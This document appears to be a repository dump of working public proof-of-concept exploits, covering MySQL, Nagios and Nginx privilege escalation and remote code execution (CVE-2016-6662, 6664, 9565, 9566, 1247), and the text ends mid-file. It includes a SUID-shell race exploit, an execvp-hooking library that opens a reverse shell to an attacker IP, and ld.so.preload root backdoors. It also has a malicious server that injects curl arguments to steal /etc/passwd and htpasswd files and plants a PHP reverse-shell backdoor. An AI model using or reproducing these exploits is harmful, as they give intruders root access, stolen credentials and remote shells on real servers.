mysql_free_result(res); 97 | 98 | } 99 | 100 | 101 | int main(int argc,char **argv) 102 | { 103 | 104 | int randomnum = 0; 105 | int io_notified = 0; 106 | int myd_handle; 107 | int wpid; 108 | int is_shell_suid=0; 109 | pid_t pid; 110 | int status; 111 | struct stat st; 112 | /* io notify */ 113 | int fd; 114 | int ret; 115 | char buf[4096] __attribute__((aligned(8))); 116 | int num_read; 117 | struct inotify_event *event; 118 | /* credentials */ 119 | char *user = argv[1]; 120 | char *password = argv[2]; 121 | char *db_host = argv[3]; 122 | char *database = argv[4]; 123 | 124 | 125 | // Disable buffering of stdout 126 | setvbuf(stdout, NULL, _IONBF, 0); 127 | 128 | // Get the params 129 | if (argc!=5) { 130 | usage(argv[0]); 131 | exit(1); 132 | } 133 | intro(); 134 | // Show initial privileges 135 | printf("\n[+] Starting the exploit as: \n"); 136 | system("id"); 137 | 138 | // Connect to the database server with provided credentials 139 | printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host); 140 | conn = mysql_init(NULL); 141 | if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { 142 | fprintf(stderr, "%s\n", mysql_error(conn)); 143 | exit(1); 144 | } 145 | 146 | // Prepare tmp dir 147 | printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN); 148 | umask(000); 149 | system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); 150 | system("chmod g+s /tmp/" EXP_DIRN ); 151 | 152 | // Prepare exploit tables :) 153 | printf("\n[+] Creating mysql tables \n\n"); 154 | mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); 155 | mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); 156 | mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); 157 | mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); 158 | 159 | // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file 160 | // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory 161 | printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n"); 162 | system("cp /bin/bash " SUID_SHELL); 163 | system("ls -l " SUID_SHELL); 164 | 165 | // Use inotify to get the timing right 166 | fd = inotify_init(); 167 | if (fd < 0) { 168 | printf("failed to inotify_init\n"); 169 | return -1; 170 | } 171 | ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); 172 | 173 | 174 | /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */ 175 | 176 | printf("\n[+] Entering the race loop... Hang in there...\n"); 177 | 178 | while ( is_shell_suid != 1 ) { 179 | 180 | cnt++; 181 | if ( (cnt % 100) == 0 ) { 182 | printf("->"); 183 | //fflush(stdout); 184 | } 185 | 186 | /* Create empty file , remove if already exists */ 187 | unlink(MYSQL_TEMP_FILE); 188 | unlink(MYSQL_TAB_FILE); 189 | mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1); 190 | mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1); 191 | 192 | /* random num if needed */ 193 | srand ( time(NULL) ); 194 | randomnum = ( rand() % MAX_DELAY ); 195 | 196 | // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink 197 | pid = fork(); 198 | if (pid < 0) { 199 | fprintf(stderr, "Fork failed :(\n"); 200 | } 201 | 202 | /* Child process - executes REPAIR TABLE SQL statement */ 203 | if (pid == 0) { 204 | usleep(500); 205 | unlink(MYSQL_TEMP_FILE); 206 | mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); 207 | // child stops here 208 | exit(0); 209 | } 210 | 211 | /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ 212 | if (pid > 0 ) { 213 | io_notified = 0; 214 | 215 | while (1) { 216 | int processed = 0; 217 | ret = read(fd, buf, sizeof(buf)); 218 | if (ret < 0) { 219 | break; 220 | } 221 | while (processed < ret) { 222 | event = (struct inotify_event *)(buf + processed); 223 | if (event->mask & IN_CLOSE) { 224 | if (!strcmp(event->name, "exploit_table.TMD")) { 225 | //usleep(randomnum); 226 | 227 | // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 228 | unlink(MYSQL_TAB_FILE); 229 | myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777); 230 | close(myd_handle); 231 | chmod(MYSQL_TAB_FILE, 04777); 232 | 233 | // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec 234 | unlink(MYSQL_TEMP_FILE); 235 | symlink(SUID_SHELL, MYSQL_TEMP_FILE); 236 | io_notified=1; 237 | } 238 | } 239 | processed += sizeof(struct inotify_event); 240 | } 241 | if (io_notified) { 242 | break; 243 | } 244 | } 245 | 246 | 247 | waitpid(pid, &status, 0); 248 | } 249 | 250 | // Check if SUID bit was set at the end of this attempt 251 | if ( lstat(SUID_SHELL, &st) == 0 ) { 252 | if (st.st_mode & S_ISUID) { 253 | is_shell_suid = 1; 254 | } 255 | } 256 | 257 | } 258 | 259 | printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt); 260 | system("ls -l " SUID_SHELL); 261 | 262 | printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n"); 263 | system(SUID_SHELL " -p -i "); 264 | //system(SUID_SHELL " -p -c '/bin/bash -i -p'"); 265 | 266 | /* close MySQL connection and exit */ 267 | printf("\n[+] Job done. Exiting\n\n"); 268 | mysql_close(conn); 269 | return 0; 270 | 271 | } 272 | -------------------------------------------------------------------------------- /Mysql/mysql_hookandroot_lib.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit 4 | mysql_hookandroot_lib.c 5 | 6 | This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit. 7 | The library is meant to be loaded by mysqld_safe on mysqld daemon startup 8 | to create a reverse shell that connects back to the attacker's host on 9 | 6603 port (mysql port in reverse ;) and provides a root shell on the 10 | target. 11 | 12 | mysqld_safe will load this library through the following setting: 13 | 14 | [mysqld] 15 | malloc_lib=mysql_hookandroot_lib.so 16 | 17 | in one of the my.cnf config files (e.g. /etc/my.cnf , /etc/mysql/my.cnf). 18 | 19 | This shared library will hook the execvp() function which is called 20 | during the startup of mysqld process. 21 | It will then fork a reverse shell and clean up the poisoned my.cnf 22 | file in order to let mysqld run as normal so that: 23 | 'service mysql restart' will work without a problem. 24 | 25 | Before compiling adjust IP / PORT and config path. 26 | 27 | 28 | ~ 29 | Discovered/Coded by: 30 | 31 | Dawid Golunski 32 | http://legalhackers.com 33 | 34 | 35 | ~ 36 | Compilation: 37 | 38 | gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl 39 | 40 | Disclaimer: 41 | 42 | For testing purposes only. Do no harm. 43 | 44 | Full advisory URL: 45 | http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt 46 | 47 | */ 48 | 49 | #define _GNU_SOURCE 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | 63 | #define ATTACKERS_IP "127.0.0.1" 64 | #define SHELL_PORT 6033 65 | #define INJECTED_CONF "/var/lib/mysql/my.cnf" 66 | 67 | char* env_list[] = { "HOME=/root", NULL }; 68 | typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]); 69 | static execvp_func_t old_execvp = NULL; 70 | 71 | 72 | // fork & send a bash shell to the attacker before starting mysqld 73 | void reverse_shell(void) { 74 | 75 | int i; int sockfd; 76 | //socklen_t socklen; 77 | struct sockaddr_in srv_addr; 78 | srv_addr.sin_family = AF_INET; 79 | srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port 80 | srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 81 | 82 | // create new TCP socket && connect 83 | sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP ); 84 | connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)); 85 | 86 | for(i = 0; i <= 2; i++) dup2(sockfd, i); 87 | execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list ); 88 | 89 | exit(0); 90 | } 91 | 92 | 93 | /* 94 | cleanup injected data from the target config before it is read by mysqld 95 | in order to ensure clean startup of the service 96 | 97 | The injection (if done via logging) will start with a line like this: 98 | 99 | /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: 100 | 101 | */ 102 | 103 | int config_cleanup() { 104 | 105 | FILE *conf; 106 | char buffer[2000]; 107 | long cut_offset=0; 108 | 109 | conf = fopen(INJECTED_CONF, "r+"); 110 | if (!conf) return 1; 111 | 112 | while (!feof(conf)) { 113 | fgets(buffer, sizeof(buffer), conf); 114 | if (strstr(buffer,"/usr/sbin/mysqld, Version")) { 115 | cut_offset = (ftell(conf) - strlen(buffer)); 116 | } 117 | 118 | } 119 | if (cut_offset>0) ftruncate(fileno(conf), cut_offset); 120 | fclose(conf); 121 | return 0; 122 | 123 | } 124 | 125 | 126 | // execvp() hook 127 | int execvp(const char* filename, char* const argv[]) { 128 | 129 | pid_t pid; 130 | int fd; 131 | 132 | // Simple root PoC (touch /root/root_via_mysql) 133 | fd = open("/root/root_via_mysql", O_CREAT); 134 | close(fd); 135 | 136 | old_execvp = dlsym(RTLD_NEXT, "execvp"); 137 | 138 | // Fork a reverse shell and execute the original execvp() function 139 | pid = fork(); 140 | if (pid == 0) 141 | reverse_shell(); 142 | 143 | // clean injected payload before mysqld is started 144 | config_cleanup(); 145 | return old_execvp(filename, argv); 146 | } 147 | 148 | 149 | -------------------------------------------------------------------------------- /Nagios/nagios-root-privesc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit 4 | # nagios-root-privesc.sh (ver. 1.0) 5 | # 6 | # CVE-2016-9566 7 | # 8 | # Discovered and coded by: 9 | # 10 | # Dawid Golunski 11 | # dawid[at]legalhackers.com 12 | # 13 | # https://legalhackers.com 14 | # 15 | # Follow https://twitter.com/dawid_golunski for updates on this advisory 16 | # 17 | # 18 | # [Info] 19 | # 20 | # This PoC exploit allows privilege escalation from 'nagios' system account, 21 | # or an account belonging to 'nagios' group, to root (root shell). 22 | # Attackers could obtain such an account via exploiting another vulnerability, 23 | # e.g. CVE-2016-9565 linked below. 24 | # 25 | # [Exploit usage] 26 | # 27 | # ./nagios-root-privesc.sh path_to_nagios.log 28 | # 29 | # 30 | # See the full advisory for details at: 31 | # https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html 32 | # 33 | # Video PoC: 34 | # https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html 35 | # 36 | # CVE-2016-9565: 37 | # https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html 38 | # 39 | # Disclaimer: 40 | # For testing purposes only. Do no harm. 41 | # 42 | 43 | BACKDOORSH="/bin/bash" 44 | BACKDOORPATH="/tmp/nagiosrootsh" 45 | PRIVESCLIB="/tmp/nagios_privesc_lib.so" 46 | PRIVESCSRC="/tmp/nagios_privesc_lib.c" 47 | SUIDBIN="/usr/bin/sudo" 48 | commandfile='/usr/local/nagios/var/rw/nagios.cmd' 49 | 50 | function cleanexit { 51 | # Cleanup 52 | echo -e "\n[+] Cleaning up..." 53 | rm -f $PRIVESCSRC 54 | rm -f $PRIVESCLIB 55 | rm -f $ERRORLOG 56 | touch $ERRORLOG 57 | if [ -f /etc/ld.so.preload ]; then 58 | echo -n > /etc/ld.so.preload 59 | fi 60 | echo -e "\n[+] Job done. Exiting with code $1 \n" 61 | exit $1 62 | } 63 | 64 | function ctrl_c() { 65 | echo -e "\n[+] Ctrl+C pressed" 66 | cleanexit 0 67 | } 68 | 69 | #intro 70 | 71 | echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n" 72 | echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" 73 | 74 | # Priv check 75 | echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" 76 | id | grep -q nagios 77 | if [ $? -ne 0 ]; then 78 | echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n" 79 | exit 3 80 | fi 81 | 82 | # Set target paths 83 | ERRORLOG="$1" 84 | if [ ! -f "$ERRORLOG" ]; then 85 | echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n" 86 | echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n" 87 | exit 3 88 | fi 89 | 90 | # [ Exploitation ] 91 | 92 | trap ctrl_c INT 93 | # Compile privesc preload library 94 | echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" 95 | cat <<_solibeof_>$PRIVESCSRC 96 | #define _GNU_SOURCE 97 | #include 98 | #include 99 | #include 100 | #include 101 | #include 102 | #include 103 | #include 104 | 105 | uid_t geteuid(void) { 106 | static uid_t (*old_geteuid)(); 107 | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 108 | if ( old_geteuid() == 0 ) { 109 | chown("$BACKDOORPATH", 0, 0); 110 | chmod("$BACKDOORPATH", 04777); 111 | unlink("/etc/ld.so.preload"); 112 | } 113 | return old_geteuid(); 114 | } 115 | _solibeof_ 116 | /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" 117 | if [ $? -ne 0 ]; then 118 | echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." 119 | cleanexit 2; 120 | fi 121 | 122 | 123 | # Prepare backdoor shell 124 | cp $BACKDOORSH $BACKDOORPATH 125 | echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" 126 | 127 | # Safety check 128 | if [ -f /etc/ld.so.preload ]; then 129 | echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." 130 | exit 2 131 | fi 132 | 133 | # Symlink the Nagios log file 134 | rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG 135 | if [ $? -ne 0 ]; then 136 | echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." 137 | cleanexit 3 138 | fi 139 | echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" 140 | 141 | { 142 | # Wait for Nagios to get restarted 143 | echo -ne "\n[+] Waiting for Nagios service to get restarted...\n" 144 | echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] " 145 | read THE_ANSWER 146 | if [ "$THE_ANSWER" = "y" ]; then 147 | /usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile 148 | fi 149 | sleep 3s 150 | ps aux | grep -v grep | grep -i 'bin/nagios' 151 | if [ $? -ne 0 ]; then 152 | echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n" 153 | fi 154 | while :; do 155 | sleep 1 2>/dev/null 156 | if [ -f /etc/ld.so.preload ]; then 157 | rm -f $ERRORLOG 158 | break; 159 | fi 160 | done 161 | 162 | echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`" 163 | 164 | # /etc/ld.so.preload should be owned by nagios:nagios at this point with perms: 165 | # -rw-r--r-- 1 nagios nagios 166 | # Only 'nagios' user can write to it, but 'nagios' group can not. 167 | # This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user. 168 | # We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe 169 | # nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will 170 | # inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :) 171 | 172 | sleep 3s # Wait for Nagios to create the nagios.cmd pipe 173 | if [ ! -p $commandfile ]; then 174 | echo -e "\n[!] Nagios command pipe $commandfile does not exist!" 175 | exit 2 176 | fi 177 | echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload" 178 | now=`date +%s` 179 | /usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile 180 | sleep 1s 181 | grep -q "$PRIVESCLIB" /etc/ld.so.preload 182 | if [ $? -eq 0 ]; then 183 | echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`" 184 | else 185 | echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload" 186 | exit 2 187 | fi 188 | 189 | } 2>/dev/null 190 | 191 | # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) 192 | echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary" 193 | sudo 2>/dev/null >/dev/null 194 | 195 | # Check for the rootshell 196 | ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null 197 | if [ $? -eq 0 ]; then 198 | echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" 199 | echo -e "\n\033[94mGot root via Nagios!\033[0m" 200 | else 201 | echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`" 202 | cleanexit 2 203 | fi 204 | 205 | # Use the rootshell to perform cleanup that requires root privileges 206 | $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" 207 | rm -f $ERRORLOG 208 | echo > $ERRORLOG 209 | 210 | # Execute the rootshell 211 | echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n" 212 | $BACKDOORPATH -p -i 213 | 214 | # Job done. 215 | cleanexit 0 216 | 217 | -------------------------------------------------------------------------------- /Nagios/nagios_cmd_injection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | intro = """\033[94m 3 | Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit 4 | CVE-2016-9565 5 | nagios_cmd_injection.py ver. 1.0 6 | 7 | Discovered & Coded by: 8 | 9 | Dawid Golunski 10 | https://legalhackers.com 11 | \033[0m 12 | """ 13 | usage = """ 14 | This PoC exploit can allow well-positioned attackers to extract and write 15 | arbitrary files on the Nagios server which can lead to arbitrary code execution 16 | on Nagios deployments that follow the official Nagios installation guidelines. 17 | 18 | For details, see the full advisory at: 19 | https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html 20 | 21 | PoC Video: 22 | https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html 23 | 24 | Follow https://twitter.com/dawid_golunski for updates on this advisory. 25 | 26 | Remember you can turn the nagios shell into root shell via CVE-2016-9565: 27 | https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html 28 | 29 | Usage: 30 | 31 | ./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port] 32 | 33 | Disclaimer: 34 | For testing purposes only. Do no harm. 35 | 36 | """ 37 | 38 | import os 39 | import sys 40 | import time 41 | import re 42 | import tornado.httpserver 43 | import tornado.web 44 | import tornado.ioloop 45 | 46 | exploited = 0 47 | docroot_rw = 0 48 | 49 | class MainHandler(tornado.web.RequestHandler): 50 | 51 | def get(self): 52 | global exploited 53 | if (exploited == 1): 54 | self.finish() 55 | else: 56 | ua = self.request.headers['User-Agent'] 57 | if "Magpie" in ua: 58 | print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip 59 | print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n' 60 | self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False) 61 | exploited = 1 62 | 63 | def post(self): 64 | global docroot_rw 65 | print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip 66 | 67 | # Extract /etc/passwd from the target 68 | passwd = self.request.files['passwd'][0]['body'] 69 | print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd 70 | 71 | # Extract /usr/local/nagios/etc/htpasswd.users 72 | htauth = self.request.files['htauth'][0]['body'] 73 | print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth 74 | 75 | # Extract nagios group from /etc/group 76 | group = self.request.files['group'][0]['body'] 77 | for line in group.splitlines(): 78 | if "nagios:" in line: 79 | nagios_group = line 80 | print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group 81 | if "www-data" in nagios_group: 82 | print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n" 83 | docroot_rw = 1 84 | 85 | # Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii' 86 | # option. The output trace should contain an unwrapped line similar to: 87 | # 88 | # == Info: Server /dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted 89 | # 90 | # which will do the trick as it won't mess up the payload :) 91 | self.add_header('Server', backdoor) 92 | 93 | # Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via tag :) 94 | print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n" 95 | self.write(xmldata) 96 | 97 | self.finish() 98 | tornado.ioloop.IOLoop.instance().stop() 99 | 100 | 101 | if __name__ == "__main__": 102 | global backdoor_path 103 | global backdoor 104 | 105 | print intro 106 | 107 | # Set attacker's external IP & port to be used by the reverse shell 108 | if len(sys.argv) < 2 : 109 | print usage 110 | sys.exit(2) 111 | attacker_ip = sys.argv[1] 112 | if len(sys.argv) == 3 : 113 | attacker_port = sys.argv[1] 114 | else: 115 | attacker_port = 8080 116 | 117 | # PHP backdoor to be saved on the target Nagios server 118 | backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php' 119 | backdoor = """/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port) 120 | 121 | # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script 122 | global xmldata 123 | xmldata = """ 124 | 125 | 126 | Nagios feed with injected JS payload 127 | 128 | Item 1 129 | 130 | 131 | <strong>Feed injected. Here we go </strong> - 132 | loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) 133 | 134 | <img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')"> 135 | 136 | 137 | 138 | 139 | 140 | 141 | """ 142 | 143 | 144 | # Generate SSL cert 145 | print "[+] Generating SSL certificate for our python HTTPS web server \n" 146 | os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null") 147 | 148 | print "[+] Starting the web server on ports 80 & 443 \n" 149 | application = tornado.web.Application([ 150 | (r'/.*', MainHandler) 151 | ]) 152 | application.listen(80) 153 | http_server = tornado.httpserver.HTTPServer( 154 | application, 155 | ssl_options = { 156 | "certfile": os.path.join("./", "server.cert"), 157 | "keyfile": os.path.join("./", "server.key"), 158 | } 159 | ) 160 | http_server.listen(443) 161 | 162 | print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n" 163 | tornado.ioloop.IOLoop.current().start() 164 | 165 | if (docroot_rw == 1): 166 | print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path 167 | print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n" 168 | os.system("nc -v -l -p 8080") 169 | print "\n[+] Shell closed\n" 170 | 171 | print "[+] That's all. Exiting\n" 172 | 173 | 174 | -------------------------------------------------------------------------------- /Nginx/nginxed-root.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Nginx (Debian-based + Gentoo distros) - Root Privilege Escalation PoC Exploit 4 | # nginxed-root.sh (ver. 1.1) 5 | # 6 | # CVE-2016-1247 7 | # 8 | # Discovered and coded by: 9 | # 10 | # Dawid Golunski 11 | # dawid[at]legalhackers.com 12 | # 13 | # https://legalhackers.com 14 | # 15 | # Follow https://twitter.com/dawid_golunski for updates on this advisory. 16 | # 17 | # --- 18 | # This PoC exploit allows local attackers on Debian-based and Gentoo systems 19 | # (Debian, Ubuntu, Gentoo etc.) to escalate their privileges from nginx web 20 | # server user (www-data) to root through unsafe error log handling. 21 | # 22 | # The exploit waits for Nginx server to be restarted or receive a USR1 signal. 23 | # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) 24 | # script which is called daily by the cron.daily on default installations. 25 | # The restart should take place at 6:25am which is when cron.daily executes. 26 | # Attackers can therefore get a root shell automatically in 24h at most without any admin 27 | # interaction just by letting the exploit run till 6:25am assuming that daily logrotation 28 | # has been configured. 29 | # 30 | # 31 | # Exploit usage: 32 | # ./nginxed-root.sh path_to_nginx_error.log 33 | # 34 | # To trigger logrotation for testing the exploit, you can run the following command: 35 | # 36 | # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx 37 | # 38 | # See the full advisory for details at: 39 | # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html 40 | # 41 | # Video PoC: 42 | # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html 43 | # 44 | # 45 | # Disclaimer: 46 | # For testing purposes only. Do no harm. 47 | # 48 | 49 | BACKDOORSH="/bin/bash" 50 | BACKDOORPATH="/tmp/nginxrootsh" 51 | PRIVESCLIB="/tmp/privesclib.so" 52 | PRIVESCSRC="/tmp/privesclib.c" 53 | SUIDBIN="/usr/bin/sudo" 54 | 55 | function cleanexit { 56 | # Cleanup 57 | echo -e "\n[+] Cleaning up..." 58 | rm -f $PRIVESCSRC 59 | rm -f $PRIVESCLIB 60 | rm -f $ERRORLOG 61 | touch $ERRORLOG 62 | if [ -f /etc/ld.so.preload ]; then 63 | echo -n > /etc/ld.so.preload 64 | fi 65 | echo -e "\n[+] Job done. Exiting with code $1 \n" 66 | exit $1 67 | } 68 | 69 | function ctrl_c() { 70 | echo -e "\n[+] Ctrl+C pressed" 71 | cleanexit 0 72 | } 73 | 74 | #intro 75 | 76 | cat <<_eascii_ 77 | _______________________________ 78 | < Is your server (N)jinxed ? ;o > 79 | ------------------------------- 80 | \ 81 | \ __---__ 82 | _- /--______ 83 | __--( / \ )XXXXXXXXXXX\v. 84 | .-XXX( O O )XXXXXXXXXXXXXXX- 85 | /XXX( U ) XXXXXXX\ 86 | /XXXXX( )--_ XXXXXXXXXXX\ 87 | /XXXXX/ ( O ) XXXXXX \XXXXX\ 88 | XXXXX/ / XXXXXX \__ \XXXXX 89 | XXXXXX__/ XXXXXX \__----> 90 | ---___ XXX__/ XXXXXX \__ / 91 | \- --__/ ___/\ XXXXXX / ___--/= 92 | \-\ ___/ XXXXXX '--- XXXXXX 93 | \-\/XXX\ XXXXXX /XXXXX 94 | \XXXXXXXXX \ /XXXXX/ 95 | \XXXXXX > _/XXXXX/ 96 | \XXXXX--__/ __-- XXXX/ 97 | -XXXXXXXX--------------- XXXXXX- 98 | \XXXXXXXXXXXXXXXXXXXXXXXXXX/ 99 | ""VXXXXXXXXXXXXXXXXXXV"" 100 | _eascii_ 101 | 102 | echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" 103 | echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" 104 | 105 | # Args 106 | if [ $# -lt 1 ]; then 107 | echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" 108 | echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" 109 | exit 3 110 | fi 111 | 112 | # Priv check 113 | 114 | echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" 115 | id | grep -q www-data 116 | if [ $? -ne 0 ]; then 117 | echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" 118 | exit 3 119 | fi 120 | 121 | # Set target paths 122 | ERRORLOG="$1" 123 | if [ ! -f $ERRORLOG ]; then 124 | echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n" 125 | exit 3 126 | fi 127 | 128 | # [ Exploitation ] 129 | 130 | trap ctrl_c INT 131 | # Compile privesc preload library 132 | echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" 133 | cat <<_solibeof_>$PRIVESCSRC 134 | #define _GNU_SOURCE 135 | #include 136 | #include 137 | #include 138 | #include 139 | #include 140 | #include 141 | #include 142 | 143 | uid_t geteuid(void) { 144 | static uid_t (*old_geteuid)(); 145 | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 146 | if ( old_geteuid() == 0 ) { 147 | chown("$BACKDOORPATH", 0, 0); 148 | chmod("$BACKDOORPATH", 04777); 149 | 